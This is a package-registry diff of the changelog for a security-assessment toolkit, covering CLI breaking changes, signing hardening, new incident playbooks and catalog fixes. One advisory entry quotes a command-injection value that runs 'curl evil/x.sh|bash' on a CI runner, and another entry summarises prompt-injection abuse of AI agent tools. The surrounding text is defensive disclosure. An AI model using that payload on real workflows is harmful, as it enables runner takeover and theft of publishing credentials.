@blamejs/exceptd-skills 0.12.40 → 0.13.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. package/AGENTS.md +17 -0
  2. package/ARCHITECTURE.md +7 -4
  3. package/CHANGELOG.md +215 -248
  4. package/CONTEXT.md +2 -2
  5. package/README.md +2 -8
  6. package/agents/threat-researcher.md +2 -2
  7. package/bin/exceptd.js +179 -81
  8. package/data/_indexes/_meta.json +50 -50
  9. package/data/_indexes/activity-feed.json +1 -1
  10. package/data/_indexes/catalog-summaries.json +1 -1
  11. package/data/_indexes/chains.json +485 -13
  12. package/data/_indexes/frequency.json +4 -0
  13. package/data/_indexes/jurisdiction-map.json +15 -4
  14. package/data/_indexes/section-offsets.json +1224 -1224
  15. package/data/_indexes/token-budget.json +170 -170
  16. package/data/atlas-ttps.json +54 -11
  17. package/data/attack-techniques.json +113 -17
  18. package/data/cve-catalog.json +38 -52
  19. package/data/cwe-catalog.json +8 -2
  20. package/data/exploit-availability.json +1 -0
  21. package/data/framework-control-gaps.json +149 -6
  22. package/data/global-frameworks.json +1 -0
  23. package/data/playbooks/ai-api.json +5 -0
  24. package/data/playbooks/cicd-pipeline-compromise.json +970 -0
  25. package/data/playbooks/cloud-iam-incident.json +4 -1
  26. package/data/playbooks/cred-stores.json +10 -0
  27. package/data/playbooks/crypto-codebase.json +13 -0
  28. package/data/playbooks/framework.json +16 -0
  29. package/data/playbooks/hardening.json +4 -0
  30. package/data/playbooks/identity-sso-compromise.json +951 -0
  31. package/data/playbooks/idp-incident.json +3 -0
  32. package/data/playbooks/kernel.json +6 -0
  33. package/data/playbooks/llm-tool-use-exfil.json +963 -0
  34. package/data/playbooks/mcp.json +6 -0
  35. package/data/playbooks/runtime.json +4 -0
  36. package/data/playbooks/sbom.json +13 -0
  37. package/data/playbooks/secrets.json +6 -0
  38. package/data/playbooks/webhook-callback-abuse.json +916 -0
  39. package/data/zeroday-lessons.json +1 -0
  40. package/lib/cross-ref-api.js +33 -13
  41. package/lib/cve-curation.js +12 -1
  42. package/lib/exit-codes.js +29 -0
  43. package/lib/lint-skills.js +25 -3
  44. package/lib/playbook-runner.js +8 -4
  45. package/lib/refresh-external.js +10 -1
  46. package/lib/scoring.js +64 -1
  47. package/lib/sign.js +40 -7
  48. package/lib/verify.js +5 -5
  49. package/manifest.json +83 -83
  50. package/orchestrator/README.md +7 -7
  51. package/orchestrator/index.js +46 -25
  52. package/orchestrator/scheduler.js +2 -2
  53. package/package.json +1 -1
  54. package/sbom.cdx.json +135 -91
  55. package/scripts/check-test-coverage.js +6 -6
  56. package/scripts/predeploy.js +7 -13
  57. package/scripts/refresh-reverse-refs.js +107 -20
  58. package/scripts/refresh-sbom.js +21 -4
  59. package/skills/age-gates-child-safety/skill.md +1 -5
  60. package/skills/ai-attack-surface/skill.md +11 -4
  61. package/skills/ai-c2-detection/skill.md +11 -2
  62. package/skills/ai-risk-management/skill.md +4 -2
  63. package/skills/api-security/skill.md +7 -8
  64. package/skills/attack-surface-pentest/skill.md +2 -2
  65. package/skills/cloud-iam-incident/skill.md +1 -5
  66. package/skills/cloud-security/skill.md +0 -4
  67. package/skills/compliance-theater/skill.md +10 -2
  68. package/skills/container-runtime-security/skill.md +1 -3
  69. package/skills/dlp-gap-analysis/skill.md +3 -4
  70. package/skills/email-security-anti-phishing/skill.md +1 -8
  71. package/skills/exploit-scoring/skill.md +7 -2
  72. package/skills/framework-gap-analysis/skill.md +1 -1
  73. package/skills/fuzz-testing-strategy/skill.md +1 -2
  74. package/skills/global-grc/skill.md +3 -2
  75. package/skills/identity-assurance/skill.md +1 -3
  76. package/skills/idp-incident-response/skill.md +1 -4
  77. package/skills/incident-response-playbook/skill.md +1 -5
  78. package/skills/kernel-lpe-triage/skill.md +2 -2
  79. package/skills/mcp-agent-trust/skill.md +13 -3
  80. package/skills/mlops-security/skill.md +3 -4
  81. package/skills/ot-ics-security/skill.md +0 -3
  82. package/skills/policy-exception-gen/skill.md +11 -3
  83. package/skills/pqc-first/skill.md +4 -2
  84. package/skills/rag-pipeline-security/skill.md +2 -0
  85. package/skills/ransomware-response/skill.md +1 -5
  86. package/skills/researcher/skill.md +4 -3
  87. package/skills/sector-energy/skill.md +0 -4
  88. package/skills/sector-federal-government/skill.md +2 -3
  89. package/skills/sector-financial/skill.md +1 -4
  90. package/skills/sector-healthcare/skill.md +0 -5
  91. package/skills/sector-telecom/skill.md +0 -4
  92. package/skills/security-maturity-tiers/skill.md +1 -2
  93. package/skills/skill-update-loop/skill.md +4 -3
  94. package/skills/supply-chain-integrity/skill.md +4 -3
  95. package/skills/threat-model-currency/skill.md +1 -1
  96. package/skills/threat-modeling-methodology/skill.md +2 -1
  97. package/skills/webapp-security/skill.md +0 -5
package/CHANGELOG.md CHANGED
@@ -1,47 +1,188 @@
1
1
  # Changelog
2
2
 
3
- ## 0.12.40 — 2026-05-16
3
+ ## 0.13.0 — 2026-05-17
4
+
5
+ Minor release. Breaking-change bundle for the v0.10.x legacy-verb removal that has been deprecation-bannered since v0.11.0; envelope harmonization across every JSON-emitting verb; 4 new playbooks expanding the canonical set to 20; engine hardening (factor-shape validation, cache invalidation, fsync-on-rename, deterministic SBOM); schema reverse fields on ATLAS, ATT&CK, and the playbook chain.
6
+
7
+ ### Breaking changes — migration required
8
+
9
+ **Five v0.10.x legacy verbs hard-removed: `plan`, `govern`, `direct`, `look`, `ingest`.** They were deprecation-bannered since v0.11.0 and slated-for-removal-in-v0.13 since v0.12.0. Operators on v0.10.x → v0.13.0 now get a structured `ok:false` refusal with the v0.11+ replacement command. Each removal is a pure rename — same underlying capability is reachable via the replacement. Refusal body shape:
10
+
11
+ ```json
12
+ {
13
+ "ok": false,
14
+ "error": "'plan' was removed in v0.13.0. Use `exceptd brief --all` instead.",
15
+ "verb": "plan",
16
+ "removed_in": "0.13.0",
17
+ "replacement": "brief --all",
18
+ "deprecation_history": "Deprecated in v0.11.0 ... removed in v0.13.0."
19
+ }
20
+ ```
21
+
22
+ Replacements:
23
+ - `exceptd plan` → `exceptd brief --all`
24
+ - `exceptd govern <pb>` → `exceptd brief <pb> --phase govern`
25
+ - `exceptd direct <pb>` → `exceptd brief <pb> --phase direct`
26
+ - `exceptd look <pb>` → `exceptd brief <pb> --phase look`
27
+ - `exceptd ingest <args>` → `exceptd run <args>`
28
+
29
+ `reattest` and `list-attestations` were also deprecation-bannered but are PRESERVED — they remain canonical short-form routings of `attest diff` / `attest list` and stay functional.
30
+
31
+ The deprecation-banner + tempdir-marker mechanism (added v0.11.0, persisted via `EXCEPTD_DEPRECATION_SHOWN` env var + `exceptd-deprecation-shown-v<X.Y.Z>` tempdir marker) is removed. Pre-v0.13 scripts that pinned the banner shape should remove those assertions.
32
+
33
+ **Orchestrator exit-code class change: usage errors exit 1 (`GENERIC_FAILURE`), not 2 (`DETECTED_ESCALATE`).** Affected verbs: `framework-gap` (missing args), `report <format>` (unknown format), `validate-cves` / `validate-rfcs` (catalog-read failure), `watchlist` (manifest-read failure), `skill <name>` (skill-not-found). Pre-v0.13 these exited 2, colliding with the canonical CI contract where exit 2 means "verb ran and detected an escalation-worthy finding." CI gates wired to branch on exit 2 will need to also accept exit 1 for these verbs, OR pre-validate inputs before invocation.
34
+
35
+ **Envelope harmonization: every JSON-emitting verb now carries top-level `ok` and (where applicable) `verb`.** Pre-v0.13 `brief --all`, `watchlist`, `ci`, `doctor`, `discover`, `attest show`, `attest export`, and `cmdRunMulti` omitted one or both fields inconsistently. `emit()` now defaults `ok: true` when not set (symmetric to the existing `ok: false → exit 1` fallback), and per-verb call sites set `verb: "..."` explicitly. Consumers that parsed bodies for the absence of these fields will break; consumers reading specific known fields are unaffected.
36
+
37
+ **Orchestrator `ok:false` bodies now land on stdout (not stderr).** Aligns with the bin/exceptd.js convention so a single consumer can parse the verb's envelope without splitting across two streams. Advisory text (`[verb] hint: ...`) still goes to stderr.
38
+
39
+ ### Security
40
+
41
+ **`lib/sign.js` `generateKeypair()` ACL-hardening status surfaces in CLI output.** `restrictWindowsAcl()` now returns a boolean; the verdict line announces `Windows ACL hardened: yes|NO` rather than silently warning.
42
+
43
+ **`lib/cve-curation.js` + `lib/refresh-external.js` `writeJsonAtomic()` fsync before rename.** Pre-v0.13 a power loss between the tmp-write and the rename could leave the renamed destination zero-length / partial. The open + write + fsync + close + rename idiom closes the durability gap on both atomic-write helpers.
44
+
45
+ ### Features
46
+
47
+ **4 new playbooks expand the canonical set to 20.**
48
+ - `webhook-callback-abuse` — OAuth callback hijack, inbound-webhook signature validation, Slack/Teams/Discord webhook leakage, the Snowflake-class long-lived-callback-token-in-CI-log pattern.
49
+ - `cicd-pipeline-compromise` — self-hosted runner takeover, workflow-injection (the `${{ inputs.* }}` class), third-party Action SHA-pin discipline, OIDC trust-policy abuse, runner-scoped signing keys. Distinct from `sbom` (package-registry supply chain).
50
+ - `identity-sso-compromise` — in-progress IdP-plane detection (Salt Typhoon / Scattered Spider / Okta-2023 / golden-SAML / PRT theft patterns). Detect-side counterpart to the existing `idp-incident` (response playbook).
51
+ - `llm-tool-use-exfil` — agentic-AI tool abuse via prompt injection. Auto-approve-on-high-impact-tool, instruction-coercion grammar in tool responses, unprompted tool chains, credential-shadow in tool args. Distinct from `dlp-exfiltration` (enterprise DLP) and `mcp` (install-time tool trust).
52
+
53
+ Each new playbook carries `threat_currency_score >= 90`, full air-gap alternatives on look artifacts, substantive theater_test blocks on framework gaps, and `feeds_into[]` chains into the existing playbook set.
54
+
55
+ **Schema reverse fields populated across 3 catalogs + playbooks.**
56
+ - ATLAS TTPs now carry `cve_refs[]` (11 entries populated with 21 back-edges from `cve.atlas_refs`).
57
+ - ATT&CK techniques now carry `cve_refs[]` (20 entries populated with 56 back-edges from `cve.attack_refs`).
58
+ - Every playbook now carries `_meta.fed_by[]` (11 playbooks populated with 54 back-edges from `_meta.feeds_into[].playbook_id`). Operators reading a playbook can see what chains INTO it without grepping every other playbook.
59
+
60
+ `scripts/refresh-reverse-refs.js` extends to 8 reverse-direction passes (4 manifest-driven, 2 CVE-driven, 2 catalog-back-edge, 1 playbook-back-edge); `npm run refresh-reverse-refs` rebuilds the full set in one pass.
61
+
62
+ **`lib/scoring.js validate()` refuses mixed Shape A / Shape B factor sets.** The catalog historically stored `rwep_factors` in two distinct shapes (raw booleans + post-weight integers). Mixing shapes inside one entry silently broke the sum invariant — a CVE with `cisa_kev: true, blast_radius: 30` reported rwep 30 instead of the operator-intended 55. The new `detectFactorShape()` helper detects mixed entries and emits a structured error pointing at the affected CVE id.
63
+
64
+ **`lib/cross-ref-api.js` cache invalidation uses (mtime, size) tier.** Pre-v0.13 cache invalidation was mtime-only; on filesystems with 1-2s mtime granularity (FAT32, HFS+ pre-APFS, NFSv3, Docker bind-mounts that proxy mtime) a rapid refresh-then-reload within the same second served stale data. Adding `size` catches every content change that affects byte count.
65
+
66
+ **`lib/lint-skills.js` enforces `last_threat_review` staleness gate.** Warn at >180 days; hard fail at >365 days. Operators with stale skills get a structured warning naming the affected file + the exact day count; year-stale skills fail the lint outright. The forcing function for Hard Rule #8 (which was policy-only pre-v0.13).
67
+
68
+ **`scripts/refresh-sbom.js` produces a deterministic bundle.** `metadata.timestamp` and `serialNumber` are derived from the content-hash seed (`<name>@<version>@<bundleSha>`) instead of wall-clock. Identical content → identical SBOM across re-runs. The SBOM-currency predeploy gate can now rely on byte-identity for the no-change case.
69
+
70
+ **`exceptd doctor --fix` second remediation branch: post-rotate stale signatures.** Continues the v0.12.41 fix. When the private key IS present but the signatures check fails (the `generate-keypair --rotate` followup state), `doctor --fix` runs `sign-all` to re-sign skills + manifest against the current keypair. Without this branch the rotation flow would converge to a broken-but-not-self-healing state.
71
+
72
+ ### Bugs
73
+
74
+ **3 catalogs got `last_threat_review` fields backfilled.** `exploit-availability.json`, `global-frameworks.json`, `zeroday-lessons.json` carried `last_updated` but lacked the threat-review timestamp the other 8 catalogs use. All 11 now follow the same shape.
75
+
76
+ **`active_exploitation` field vocabulary now declared in `cve-catalog.json._meta`.** Pre-v0.13 the field accepted free-form values; 10 entries used `"unknown"` which wasn't documented. The new `_meta.active_exploitation_vocabulary` block enumerates `confirmed | suspected | theoretical | none | unknown` with per-value definitions.
77
+
78
+ **4 CVEs flipped `_draft: false` (verified).** `CVE-2024-3094` (xz-utils backdoor), `CVE-2024-21626` (Leaky Vessels), `CVE-2026-42945` (NGINX Rift), `MAL-2026-TANSTACK-MINI`. 1 quarantined (`MAL-2026-ANTHROPIC-MCP-STDIO` — duplicate of `CVE-2026-30623`). The remaining 15 draft CVEs are now marked with a structured `_draft_reason` ("blocked on missing zeroday-lessons entry" in all 14 cases except the GTIG embargoed placeholder).
79
+
80
+ **Hard Rule #5 regional-framework backfill on 7 skills.** `policy-exception-gen`, `compliance-theater`, `exploit-scoring`, `ai-c2-detection`, `ai-attack-surface`, `mcp-agent-trust`, `api-security` previously cited NIST without one or more of EU/UK/AU/ISO equivalents. Each now carries substantive references to NIS2/DORA/EU AI Act, NCSC CAF, ASD ISM/Essential 8, and ISO 27001:2022 controls as appropriate.
4
81
 
5
- Cycle 20 catalog symmetry + operator UX. The headline closes 137 framework-gap CVE asymmetries (cycle 20 B F4) with a single reverse-ref script extension. Plus three operator-facing UX fixes from the cycle 20 A workflow trace.
82
+ **39 of 42 skills got `data_deps` arrays regenerated** from body content references. Pre-v0.13 the array drifted whenever a skill body added or removed a `data/<file>.json` reference without the frontmatter being updated. `api-security` and `email-security-anti-phishing` ended up with empty `data_deps` their bodies reference no catalog file by name; flagged for v0.14 body-content review.
83
+
84
+ **`scripts/refresh-reverse-refs.js` orphan detection caught 8 framework-gap forward-orphan references introduced by the Hard Rule #5 backfill.** `NIST-800-53-SC-39`, `ISO-27001-2022-A.8.22`, `CIS-Kubernetes-Benchmark-5.7`, `NIST-800-218-SSDF-PW.4`, `NIST-800-53-SR-3`, `SLSA-v1.0-Source-L3`, `NIST-AI-RMF-MAP-3.4`, `OWASP-Top-10-2021-A06`. These are real framework controls cited by the new skill content but absent from the gap catalog; tracked for v0.14 gap-catalog expansion.
85
+
86
+ ### Internal
87
+
88
+ - `lib/exit-codes.js` exports `safeExit(code)` — sets `process.exitCode` without calling `process.exit()`. Dispatch surface (`bin/exceptd.js`, `orchestrator/index.js`) converted from `process.exit(N)` to `safeExit(EXIT_CODES.X)` for non-zero codes; `tests/safe-exit-grep.test.js` refuses regressions.
89
+ - `validate-playbooks` predeploy gate flipped from informational to required. 20/20 playbooks validate cleanly.
90
+ - 7 new pinning tests in `tests/v0_12_41-fixes.test.js`, `tests/safe-exit-grep.test.js`, `tests/atlas-version-canonical.test.js`, `tests/operator-leak-grep.test.js`, `tests/verify-shipped-tarball-wrapper.test.js`.
91
+ - Test suite: 1179 total, 1173 pass, 6 skipped (POSIX-only / no-privkey gates), 0 fail.
92
+ - `release.yml` publish-job split (id-token:write vs contents:write separation) and `refresh.yml` split-checkout pattern remain in v0.14 backlog; they're workflow-security hardening with no operator-facing surface change.
93
+
94
+ ## 0.12.41 — 2026-05-17
95
+
96
+ Cross-domain hygiene pass: signature-regression class fix, sidecar hardening, attestation UX, ATLAS pin reconciliation, operator-narrative scrub, and structural test pins to lock the class fixes against future drift.
97
+
98
+ ### Security
99
+
100
+ **`doctor --fix` now refuses when `keys/public.pem` exists without a matching private key, AND detects post-rotation stale signatures.** Pre-fix the production code path silently invoked `generateKeypair()` whenever the private key was missing, overwriting the shipped `keys/public.pem` and orphaning every existing signature. This is the same class of bug that broke five v0.11.x → v0.12.2 releases — an operator running the canonical fix command would get a working keypair locally and a broken `exceptd doctor` for every subsequently shipped install. Now: refusal is explicit with a structured `fix_attempted: ed25519_keypair_generation_declined` reason and an actionable hint pointing at `--rotate`. After successful generation, `doctor --fix` chains `sign-all` so the manifest + skills carry signatures paired with the new keypair (without the chain, the very next `doctor` reports 0/N passing). Second branch: when the private key IS present but the signatures check fails (the post-`generate-keypair --rotate` state — the rotation flow's remediation), `doctor --fix` runs `sign-all` to re-sign skills + manifest against the current keypair. Without this second branch, `--rotate` would converge to a broken-but-not-self-healing state.
101
+
102
+ **Attestation sidecar `.sig` files now write at mode `0o600` + Windows ACL hardening.** v0.12.38 hardened the primary attestation JSON; the sibling `.sig` sidecars that ride alongside were missed and inherited the default umask (0o644 on POSIX, default ACL on Windows). On multi-tenant hosts the sidecar leaked the signature payload. Both the signed and unsigned-stub write paths now match the attestation.json hardening.
6
103
 
7
104
  ### Bugs
8
105
 
9
- **137 framework-gap CVE asymmetries auto-regenerated.** Cycle 20 B F4: `cve.framework_control_gaps` (dict keyed by gap-id) and `gap.evidence_cves` (array of CVE ids) had drifted apart 24 CVE-side references missing reverse + 79 gap-side references missing reverse. Worst-case: `CVE-2025-53773` cited in 42 gap.evidence_cves but only declared 3 in its own framework_control_gaps. Fix: `scripts/refresh-reverse-refs.js` extended with the CVE→framework-gap direction (handles the dict-keyed forward field via new `forwardFieldShape: 'object-keys'` parameter). Drafts excluded per existing convention. 64 framework-gap entries regenerated on first run; new `tests/reverse-ref-drift.test.js` test blocks future drift. Surface side-effect: 5 forward-orphan gap references on `CVE-2026-46300` and `MAL-2026-NODE-IPC-STEALER` (gaps that don't exist in the catalog: `DORA-Art9`, `UK-CAF-B4`, `AU-ISM-1546`, `ISO-27001-2022-A.5.7`, `NIS2-Art21-supply-chain`) surfaced via the orphans report deferred to v0.13 for either gap-catalog addition or CVE-side cleanup.
106
+ **`attest <subverb>` typos now return `did_you_mean[]`.** Pre-fix `exceptd attest verfy <sid>` collapsed into a downstream "no session dir" error because subverb membership was checked after session-id resolution. Now the subverb gate runs first and returns a Levenshtein-1 suggestion (`{ did_you_mean: ["verify"], accepted_subverbs: ["list","show","export","verify","diff"] }`). Closes the typo-suggestion class introduced by v0.12.37 for top-level verbs.
107
+
108
+ **`attest diff <sid> --against <other>` guards against empty `attestations[]`.** Pre-fix a session directory containing only replay records (no `attestation.json`) caused `cmdAttest diff` to throw `TypeError: Cannot read properties of undefined (reading 'captured_at')`. Now: structured `ok:false` with `attestation_count: 0` and a hint pointing at `exceptd attest show <sid>` for visibility.
109
+
110
+ **`exceptd ask "..." --pretty` now honors `--pretty`.** Pre-fix the flag was silently ignored unless paired with `--json` (the discover/doctor convention is `--pretty` opts into structured output). Aligns the three verbs.
111
+
112
+ **`lib/scoring.js` `compare()` distinguishes "no scoring signal" from "broadly aligned".** Pre-fix a CVE entry with `rwep_score: 0` AND `cvss_score: 0` (e.g. an unmigrated catalog entry) printed "CVSS and RWEP are broadly aligned" — false alignment signal that masked a catalog gap. Now: explicit "no scoring signal — investigate catalog entry" branch.
113
+
114
+ **`normalizeSubmission` no longer mutates frozen input.** The `_runErrors` push for `signal_overrides_invalid` previously mutated the caller's submission in place; a frozen submission (defensive `Object.freeze`, or shared reference across parallel runs) threw uncaught. Now clones before mutation.
115
+
116
+ **14 unresolved cross-references removed from the catalogs.** `cve-catalog.json` and `framework-control-gaps.json` carried 14 refs to CWE / ATLAS / ATT&CK entries that don't exist in their respective catalogs. Each stale ref dropped from its owning entry rather than introducing a placeholder destination. Affected entries: `CVE-2024-21626`, `CVE-2023-3519`, `CVE-2024-1709`, `CVE-2024-40635`, `CVE-2026-GTIG-AI-2FA`, `CVE-2026-42945`, `MAL-2026-TANSTACK-MINI`, `CVE-2024-3154`, `CVE-2023-43472`, `CVE-2025-59389`, `AU-Essential-8-App-Hardening`.
117
+
118
+ **`PCI-DSS-4.0.1-12.3.3` orphan gap now maps to ATT&CK `T1573` + `T1600`.** The gap entry described real PQC / cipher-inventory controls but carried no `evidence_cves`, `atlas_refs`, or `attack_refs` — a Hard Rule #4 violation. Mapping retains the gap content; the previously-orphan entry now references the encryption-channel + weaken-encryption techniques it actually exists to detect.
119
+
120
+ **5 forward-orphan gap references now resolved.** `CVE-2026-46300` and `MAL-2026-NODE-IPC-STEALER` cited `DORA-Art-9` (existing entry; ID-format orphan only), `UK-CAF-B4`, `AU-ISM-1546`, `ISO-27001-2022-A.5.7`, `NIS2-Art21-supply-chain` — four gap entries did not exist. All four added with substantive `theater_test` blocks; the DORA reference was canonicalized to the existing entry's ID format.
121
+
122
+ **`crypto-codebase` playbook now declares `air_gap_alternative` paths.** It was the only playbook missing the field — operators running with `--air-gap` had no documented offline equivalent for any of its 13 look artifacts. Each now declares the local-filesystem equivalent (the artifacts use `Glob` / `Grep` / `Read` against the working tree, so the alternative is the same operation noted explicitly).
10
123
 
11
- **`exceptd framework-gap` "0 theater-risk controls" footer fixed.** Cycle 20 A P1: pre-fix the summary footer reported `0 theater-risk controls` while every per-entry display showed the `⚠ THEATER RISK` badge. Root cause: the counter filtered on the legacy `theater_pattern` field while the v0.12.29 backfill had added a structured `theater_test` block on all 118 entries without populating `theater_pattern`. Fix: counter now matches entries with EITHER `theater_test` OR `theater_pattern`. Each theater-risk entry gains a `theater_test_present` boolean for tooling consumers.
124
+ **`active_exploitation` field vocabulary declared in `cve-catalog.json._meta`.** Pre-fix the field accepted free-form values; 10 entries used `"unknown"` which wasn't documented. The new `_meta.active_exploitation_vocabulary` block enumerates `confirmed | suspected | theoretical | none | unknown` with per-value definitions.
12
125
 
13
- **`exceptd skill` (no arg) no longer leaks orchestrator path.** Cycle 20 A P2: pre-fix the usage hint read `Usage: node orchestrator/index.js skill <skill-name>` — an internal narrative leak (CLAUDE.md global rule: no orchestrator references in operator-facing surfaces). Now: `Usage: exceptd skill <skill-name>` + a pointer to `exceptd brief --all` for skill discovery.
126
+ **`last_threat_review` field added to 3 catalogs.** `exploit-availability.json`, `global-frameworks.json`, and `zeroday-lessons.json` carried `last_updated` but lacked the threat-review timestamp the other 8 catalogs use. Backfilled so all 11 catalogs follow the same shape.
14
127
 
15
- **Unsigned-attestation warning leads with operator-facing verb.** Cycle 20 A P2: pre-fix the warning told operators to run `node lib/sign.js generate-keypair` — a node-internal script path that isn't on PATH after `npm install -g`. Now leads with `exceptd doctor --fix`, with the lib path retained as `node $(exceptd path)/lib/sign.js generate-keypair` for contributor checkouts.
128
+ **SBOM duplicates resolved.** `sbom.cdx.json` listed `vendor/blamejs/retry.js` and `vendor/blamejs/worker-pool.js` under two component records each once as a version-less `type: "file"` entry and once as a version-bearing `type: "library"` entry. Removed the version-less duplicates; canonical entries retain pin version, licenses, externalReferences, and provenance.
129
+
130
+ **ATLAS version pin reconciled across operator-facing surfaces.** The canonical pin (`data/atlas-ttps.json._meta.atlas_version`) is **v5.4.0** (February 2026); `CONTRIBUTING.md`, `MAINTAINERS.md`, `CONTEXT.md`, `.github/copilot-instructions.md`, `.github/PULL_REQUEST_TEMPLATE.md`, and `agents/threat-researcher.md` still cited the stale v5.1.0. New `tests/atlas-version-canonical.test.js` blocks future drift across operator-facing docs, agent personas, and skill bodies.
131
+
132
+ **Operator-facing strings now reference `exceptd <verb>` instead of `node lib/...`.** A prior release closed one site; the broader sweep covered `bin/exceptd.js` (5 sites in the doctor hints / renderer), `lib/lint-skills.js`, `lib/verify.js` (5 sites in error messages), `lib/playbook-runner.js`, `orchestrator/index.js` (help + examples), `orchestrator/scheduler.js`, and `orchestrator/README.md`. The contributor-checkout `node $(exceptd path)/lib/...` form is retained as a fallback for non-npm-installed contributors; new `tests/operator-leak-grep.test.js` blocks future leaks.
133
+
134
+ ### Features
135
+
136
+ **README, AGENTS, ARCHITECTURE, MAINTAINERS reconciled.** README "Status" rewritten as a single behavior-framed paragraph (was multi-paragraph release narrative). ARCHITECTURE's "Required Body Sections" reconciled with AGENTS.md (7 required + 1 optional, not 8 required). AGENTS.md Hard Rules now annotated with the forcing-function script per rule — rules #5, #9, and #14 explicitly marked **policy only**, all others cite the enforcing test or gate.
137
+
138
+ **Predeploy gate count no longer hardcoded in docs.** README, MAINTAINERS, and prior CHANGELOG entries previously cited "13-gate" / "14-gate" / "15 gates" interchangeably. Operator-facing docs now reference "the predeploy gate sequence" without a number; the source of truth is `scripts/predeploy.js`'s `GATES` array.
139
+
140
+ **CHANGELOG voice scrub.** 31 prior release entries scrubbed of internal-process narrative (process IDs, finding IDs, multi-agent dispatch sentences, tautological gate/test footers, and forward-roadmap forecasts). Net 182 lines removed. Operator-meaningful facts retained.
141
+
142
+ **`release.yml` CHANGELOG-extraction now emits `::warning::` on fallback.** Pre-fix a malformed `## <version>` header silently fell back to the generic "Release of v<X.Y.Z>." body; operators reading the GitHub Release page saw no signal that the extraction failed.
143
+
144
+ **Shipped script comments scrubbed of internal narrative.** `scripts/check-test-coverage.js`, `scripts/refresh-reverse-refs.js`, `.github/workflows/release.yml`, and `.github/workflows/scorecard.yml` had references in comments that ship via the tarball. Replaced with version-only or intent-only framing.
16
145
 
17
146
  ### Internal
18
147
 
19
- - Cycle 20 audit dispatched 3 agents (workflow trace, catalog symmetry, 24h intake / Pwn2Own Day 3). All 3 returned.
20
- - Cycle 20 C: no new CVE intake. The agent's recommended additions (CVE-2026-20182 PAN-OS, CVE-2026-0300 SD-WAN, node-ipc) were already in the catalog from cycles 11 and 13. Pwn2Own Berlin Day 3 ZDI results still not posted; AI-category outcomes (Claude Code, Ollama, etc.) embargoed for 90 days.
21
- - Cycle 20 A deferred to v0.13 (design-level): classification under synthetic evidence (analyze.classification stays undefined despite 6 firing indicators); `ask` natural-language routing (keyword-frequency-only gives wrong answer on "Microsoft Exchange OWA remote code execution" because "remote" boosts AI scoring); `framework-gap` accepts control-id silently (zero matches with no hint); new `researcher` verb that composes framework-gap + brief + RWEP in one screen.
22
- - Cycle 20 B deferred to v0.13 (schema-level): ATLAS / D3FEND / ATT&CK have no CVE-back field at all (one-way today); playbook `fed_by` reverse field doesn't exist.
23
- - 6 new tests across `tests/cycle20-ux-fixes.test.js` (3) and `tests/reverse-ref-drift.test.js` (1 new test, +1 count adjustment). Test count 1157 → 1163. 14/14 predeploy gates green.
148
+ - 4 new pinning test files (`tests/v0_12_41-fixes.test.js`, `tests/atlas-version-canonical.test.js`, `tests/operator-leak-grep.test.js`, `tests/verify-shipped-tarball-wrapper.test.js`), plus in-place hardenings of existing tests for the field-presence-not-populated and coincidence-passing classes.
149
+ - `tests/sbom-per-file-hash.test.js` now snapshots `sbom.cdx.json` before regeneration and restores on SIGINT / process exit, closing the "mutating test pollutes the repo on Ctrl-C" pattern.
150
+ - `tests/operator-bugs.test.js` `#87 doctor --fix is registered` test no longer uses `notEqual(r.status, 2)` (coincidence-passing); pins the accepted-exit-codes set explicitly.
151
+
152
+ ## 0.12.40 2026-05-16
153
+
154
+ Catalog symmetry + operator UX. The headline closes 137 framework-gap ↔ CVE asymmetries with a single reverse-ref script extension, plus three operator-facing UX fixes.
155
+
156
+ ### Bugs
157
+
158
+ **137 framework-gap ↔ CVE asymmetries auto-regenerated.** `cve.framework_control_gaps` (dict keyed by gap-id) and `gap.evidence_cves` (array of CVE ids) had drifted apart — 24 CVE-side references missing reverse + 79 gap-side references missing reverse. Worst-case: `CVE-2025-53773` cited in 42 gap.evidence_cves but only declared 3 in its own framework_control_gaps. Fix: `scripts/refresh-reverse-refs.js` extended with the CVE→framework-gap direction (handles the dict-keyed forward field via new `forwardFieldShape: 'object-keys'` parameter). Drafts excluded per existing convention. 64 framework-gap entries regenerated on first run; new `tests/reverse-ref-drift.test.js` test blocks future drift. Surface side-effect: 5 forward-orphan gap references on `CVE-2026-46300` and `MAL-2026-NODE-IPC-STEALER` (gaps that don't exist in the catalog: `DORA-Art9`, `UK-CAF-B4`, `AU-ISM-1546`, `ISO-27001-2022-A.5.7`, `NIS2-Art21-supply-chain`) surfaced via the orphans report.
159
+
160
+ **`exceptd framework-gap` "0 theater-risk controls" footer fixed.** Pre-fix the summary footer reported `0 theater-risk controls` while every per-entry display showed the `⚠ THEATER RISK` badge. Root cause: the counter filtered on the legacy `theater_pattern` field while the v0.12.29 backfill had added a structured `theater_test` block on all 118 entries without populating `theater_pattern`. Fix: counter now matches entries with EITHER `theater_test` OR `theater_pattern`. Each theater-risk entry gains a `theater_test_present` boolean for tooling consumers.
161
+
162
+ **`exceptd skill` (no arg) no longer leaks orchestrator path.** Pre-fix the usage hint read `Usage: node orchestrator/index.js skill <skill-name>`. Now: `Usage: exceptd skill <skill-name>` + a pointer to `exceptd brief --all` for skill discovery.
163
+
164
+ **Unsigned-attestation warning leads with operator-facing verb.** Pre-fix the warning told operators to run `node lib/sign.js generate-keypair` — a node-internal script path that isn't on PATH after `npm install -g`. Now leads with `exceptd doctor --fix`, with the lib path retained as `node $(exceptd path)/lib/sign.js generate-keypair` for contributor checkouts.
24
165
 
25
166
 
26
167
  ## 0.12.39 — 2026-05-16
27
168
 
28
- Cycle 19 CI workflow hardening + CLI envelope shape contracts. One P1 script-injection sink in `release.yml` closed; three P3 housekeeping fixes; envelope shape pinned on the 6 verbs the cycle 13 audit deferred.
169
+ CI workflow hardening + CLI envelope shape contracts. One P1 script-injection sink in `release.yml` closed; three housekeeping fixes; envelope shape pinned on six more verbs.
29
170
 
30
171
  ### Security
31
172
 
32
- **`release.yml` `inputs.tag` script-injection sink hardened.** Pre-fix the workflow_dispatch input `inputs.tag` was interpolated directly into a `run:` block (CWE-94 / CWE-78 class). A maintainer (or compromised actions:write token) firing `workflow_dispatch` with `tag = '"; curl evil/x.sh|bash; #"'` would have executed on the runner. The `npm-publish` environment has `id-token: write` available downstream, so an exploited dispatch could compromise npm provenance signing identity in the same workflow run. Fix: env-var indirection + regex allowlist `^v[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$`. Mirrors the existing `refresh.yml` `inputs.source` hardening pattern. Cycle 19 A P1 F1.
173
